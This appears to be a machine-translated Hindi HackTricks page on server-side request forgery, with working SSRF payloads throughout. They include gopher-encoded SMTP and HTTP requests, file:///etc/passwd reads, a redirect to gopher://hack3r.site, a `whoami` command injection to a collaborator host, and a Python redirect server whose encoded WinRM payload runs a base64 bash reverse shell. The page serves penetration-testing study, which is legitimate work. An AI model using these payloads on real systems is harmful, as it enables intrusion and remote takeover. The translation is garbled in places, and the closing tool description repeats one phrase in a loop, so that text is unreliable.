hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-02-08 07:28:54 +00:00
..
cloud-ssrf.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 04:05:58 +00:00
README.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 04:05:58 +00:00
ssrf-vulnerable-platforms.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-02-03 19:01:48 +00:00
url-format-bypass.md Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 07:28:54 +00:00

SSRF (सर्वर साइड रिक्वेस्ट फॉर्जरी)


Trickest का उपयोग करें और दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से निर्मित और स्वचालित करें।
आज ही पहुंचें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

शून्य से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) एक सुरक्षा दोष है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपने चयनित डोमेन पर HTTP रिक्वेस्ट करने के लिए प्रेरित करता है। यह दोष हमलावर द्वारा निर्दिष्ट बाह्य रिक्वेस्टों को सर्वर के सामने खोल देता है।

SSRF को कैप्चर करें

पहली चीज जो आपको करनी होगी वह आपके द्वारा उत्पन्न एक SSRF इंटरैक्शन को कैप्चर करना है। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:

व्हाइटलिस्टेड डोमेन बायपास

आम तौर पर आपको पाएंगे कि SSRF केवल निश्चित व्हाइटलिस्टेड डोमेन्स या URL में काम कर रहा है। निम्नलिखित पृष्ठ पर आपको उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का एक संकलन मिलेगा:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

ओपन रीडायरेक्ट के माध्यम से बायपास

यदि सर्वर सही ढंग से सुरक्षित है तो आप वेब पेज के अंदर ओपन रीडायरेक्ट का शोषण करके सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेब पेज एक ही डोमेन के लिए SSRF की अनुमति देगा और संभावित रूप से रीडायरेक्ट करेगा, आप ओपन रीडायरेक्ट का शोषण करके सर्वर को आंतरिक किसी भी संसाधन तक पहुंचाने के लिए उपयोग कर सकते हैं।
अधिक जानकारी यहाँ पढ़ें: https://portswigger.net/web-security/ssrf

प्रोटोकॉल

  • file://

  • URL योजना file:// को सीधे /etc/passwd पर इशारा करती है: file:///etc/passwd

  • dict://

  • DICT URL योजना का उपयोग DICT प्रोटोकॉल के माध्यम से परिभाषाएँ या शब्द सूचियों तक पहुंचने के लिए किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस और प्रविष्टि संख्या को लक्षित करने वाला निर्मित URL दिखाता है, साथ ही एक PHP स्क्रिप्ट का उपयोग करके एक DICT सर्वर से कनेक्ट करने के लिए हमलावर द्वारा प्रदान किए गए क्रेडेंशियल का दुरुपयोग किया जा सकता है: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • सुरक्षित शैली में फ़ाइल स्थानांतरण के लिए प्रोटोकॉल के रूप में पहचाना गया, एक उदाहरण प्रदान किया गया है जो दिखाता है कि कैसे एक PHP स्क्रिप्ट को दुरुपयोग किया जा सकता है ताकि यह एक दुर्भाग्यपूर्ण SFTP सर्वर से कनेक्ट हो सके: url=sftp://generic.com:11111/

  • TFTP://

  • UDP पर संचालित ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल के साथ, एक PHP स्क्रिप्ट का उदाहरण दिया गया है जो एक TFTP सर्वर को एक अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट पर 'TESTUDPPACKET' फ़ाइल के लिए एक TFTP अनुरोध किया जाता है: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • इस सेगमेंट में लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को शामिल किया गया है, जिसमें इसका उपयोग आईपी नेटवर्क पर वितरित निर्देशिका सेवा को प्रबंधित और पहुंचने के लिए किया जाता है। लोकलहोस्ट पर एक LDAP सर्वर के साथ इंटरैक्ट करें: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • एक विधि का वर्णन किया गया है जिसका उपयोग SMTP सेवाओं के साथ इंटरैक्ट करने के लिए SSRF दोषों का शोषण करने के लिए किया जाता है, जिसमें आंतरिक डोमेन नामों को उजागर करने के लिए कदम और उस जानकारी पर आधारित और अधिक जांचात्मक कार्रवाईयाँ की गई हैं।

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl के पास URL globbing नामक एक विशेषता होती है जो WAFs को दौड़ने में सहायक हो सकती है। उदाहरण के लिए इस writeup में आप file प्रोटोकॉल के माध्यम से पथ ट्रावर्सल के लिए इस उदाहरण को पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • गोफर://
  • गोफर प्रोटोकॉल की क्षमता को चर्चा की गई है जिसमें सर्वर संचार के लिए आईपी, पोर्ट, और बाइट्स को निर्दिष्ट करने की क्षमता है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उल्लेख किया गया है जो पेलोड तैयार करने के लिए हैं। दो विभिन्न उपयोगों का उल्लेख किया गया है:

गोफर://

इस प्रोटोकॉल का उपयोग करके आप सर्वर से भेजने के लिए आईपी, पोर्ट और बाइट्स को निर्दिष्ट कर सकते हैं। फिर, आप मूल रूप से किसी TCP सर्वर के साथ एक SSRF का शोषण कर सकते हैं (लेकिन आपको सेवा से बात करने का तरीका पता होना चाहिए)।
भाग्यवश, आप Gopherus का उपयोग कर सकते हैं विभिन्न सेवाओं के लिए पेलोड बनाने के लिए। इसके अतिरिक्त, remote-method-guesser का उपयोग किया जा सकता है Java RMI सेवाओं के लिए gopher पेलोड बनाने के लिए।

गोफर smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

गोफर एचटीटीपी

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

गोफर SMTP — 1337 को बैक कनेक्ट करें

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SSRF के माध्यम से रेफरर हेडर और अन्य

सर्वर पर एनालिटिक्स सॉफ्टवेयर आमतौर पर आने वाले लिंक्स को ट्रैक करने के लिए रेफरर हेडर को लॉग करता है, जो अनजाने में एप्लिकेशन को सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF) संक्रमित कर सकता है। यह इसलिए है क्योंकि ऐसा सॉफ्टवेयर रेफरर हेडर में उल्लिखित बाह्य URL पर जा सकता है ताकि रेफरल साइट की सामग्री का विश्लेषण कर सके। इन संक्रमितताओं को खोजने के लिए, बर्प स्वीट प्लगइन "कॉलेबोरेटर एव्रीव्हेयर" का सुझाव दिया जाता है, जो एनालिटिक्स टूल्स द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सत्र की पहचान करता है।

सर्टिफिकेट से SNI डेटा के माध्यम से SSRF

किसी भी बैकएंड से कनेक्शन स्थापित करने की संभावना रखने वाली एक गलत विन्यास को एक उदाहरण Nginx विन्यास के साथ दिखाया गया है:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

इस कॉन्फ़िगरेशन में, सर्वर नाम सूचना (SNI) फ़ील्ड से मान सीधे बैकएंड का पता उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंश्विकता को उजागर करता है, जिसे सीधे SNI फ़ील्ड में वांछित आईपी पता या डोमेन नाम निर्दिष्ट करके उत्पादित किया जा सकता है। internal.host.com जैसे एक अर्बिट्रे बैकएंड से कनेक्शन करने के लिए एक उत्पादन उदाहरण, openssl कमांड का उपयोग करके नीचे दिया गया है:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget फ़ाइल अपलोड

कमांड इंजेक्शन के साथ SSRF

यह एक payload की कोशिश करने लायक हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs रेंडरिंग

यदि वेब पृष्ठ स्वचालित रूप से एक PDF बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। अधिक जानकारी यहाँ देखें.

SSRF से DoS तक

एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने की कोशिश करें।

SSRF PHP फ़ंक्शन

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF गोफर को रीडायरेक्ट करें

कुछ उत्पीड़नों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजनी पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Trickest का उपयोग करें और आसानी से ऑटोमेट वर्कफ़्लो बनाएं जो दुनिया के सबसे उन्नत समुदाय उपकरणों द्वारा संचालित हैं।
आज ही पहुंच प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Rebidding CORS/SOP bypass

यदि CORS/SOP के कारण स्थानीय IP से सामग्री निकालने में समस्या हो रही है, तो DNS Rebidding का उपयोग उस प्रतिबंध को दूर करने के लिए किया जा सकता है:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

स्वचालित DNS Rebidding

Singularity of Origin एक उपकरण है जो DNS rebinding हमले करने के लिए है। यह आवश्यक घटक शामिल करता है ताकि हमले करने वाले सर्वर DNS नाम का IP पता लक्ष्य मशीन के IP पते पर पुनरावृत्ति कर सकें और लक्ष्य मशीन पर कमजोर सॉफ़्टवेयर का शोषण करने के लिए हमले के पेयलोड सेव कर सकें।

देखें भी सार्वजनिक रूप से चल रहे सर्वर को http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

आवश्यकताएं:

  • SSRF
  • आउटबाउंड TLS सत्र
  • स्थानीय पोर्ट पर सामग्री

हमला:

  1. उपयोगकर्ता/बॉट से कहें कि वह हमले करने वाले कंट्रोल किए जा रहे डोमेन तक पहुंचें
  2. DNS का TTL 0 सेकंड है (इसलिए पीड़ित जल्द ही डोमेन का IP जांचेगा)
  3. पीड़ित और हमले करने वाले डोमेन के बीच एक TLS कनेक्शन बनाया जाता है। हमले करने वाले ने सत्र ID या सत्र टिकट में पेयलोड डाला
  4. डोमेन अपने आप को निरंतर पुनर्निर्देशित करेगा। इसका उद्देश्य यह है कि उपयोगकर्ता/बॉट डोमेन तक पहुंचें जब तक वह फिर से डोमेन का DNS अनुरोध करता है।
  5. DNS अनुरोध में निजी IP पता अब दिया जाता है (उदाहरण के लिए 127.0.0.1)
  6. उपयोगकर्ता/बॉट टीएलएस कनेक्शन पुनः स्थापित करने की कोशिश करेगा और इसे करने के लिए वह सत्र आईडी/टिकट आईडी भेजेगा (जिसमें हमले करने वाले का पेयलोड शामिल था)। तो बधाई हो, आपने उपयोगकर्ता/बॉट से खुद को हमला करने की प्रबंधन की।

ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (मेमकैश) पर हमला करना चाहते हैं तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने की आवश्यकता है (पोर्ट हमेशा समान होना चाहिए)।
इस हमले को करने के लिए आप इस उपकरण का उपयोग कर सकते हैं: https://github.com/jmdx/TLS-poison/
अधिक जानकारी के लिए देखें जहां इस हमले की व्याख्या की गई है: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

ब्लाइंड SSRF

ब्लाइंड SSRF और एक गैर ब्लाइंड SSRF के बीच अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का प्रतिसाद नहीं देख सकते। फिर, इसे उत्तम जानकारी होने पर ही उत्तम रूप से शोषण करना मुश्किल हो जाएगा क्योंकि आप केवल प्रसिद्ध दुरुपयोग कर सकेंगे।

समय आधारित SSRF

सर्वर से प्रतिसादों का समय जांचकर यह संभव हो सकता है कि क्या कोई संसाधन मौजूद है या नहीं (शायद किसी मौजूदा संसाधन तक पहुंचने में ज्यादा समय लगता है जो किसी ऐसे संसाधन तक पहुंचने में ज्यादा समय नहीं लेता)

क्लाउड SSRF शोषण

यदि आप किसी क्लाउड परिवेश में चल रही मशीन में एक SSRF दुरुपयोगिता पाते हैं तो आप क्लाउड परिवेश के बारे में दिलचस्प जानकारी और यहां तक कि प्रमाण प्राप्त कर सकते हैं:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF दुरुपयोगी प्लेटफ़ॉर्म

कई जाने जाने वाले प्लेटफ़ॉर्म में SSRF दुरुपयोगिता शामिल है, उन्हें चेक करें:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

उपकरण

SSRFMap

SSRF दुरुपयोगिता का पता लगाने और उसका दुरुपयोग करने के लिए उपकरण

Gopherus

यह उपकरण निम्नलिखित के लिए गोफर पेयलोड उत्पन्न करता है:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser एक Java RMI भेद्यता स्कैनर है जो सबसे सामान्य Java RMI भेद्यताओं के लिए हमले के ऑपरेशन का समर्थन करता है। उपलब्ध ऑपरेशनों में से अधिकतम --ssrf विकल्प का समर्थन करते हैं, अनुरोधित ऑपरेशन के लिए SSRF पेयलोड उत्पन्न करने के लिए। --gopher विकल्प के साथ, सीधे उपयोग के लिए gopher पेयलोड लक्षित किए जा सकते हैं।

SSRF Proxy

SSRF Proxy एक मल्टी-सूत्री HTTP प्रॉक्सी सर्वर है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP संचार को HTTP सर्वरों के माध्यम से टनल करने के लिए डिज़ाइन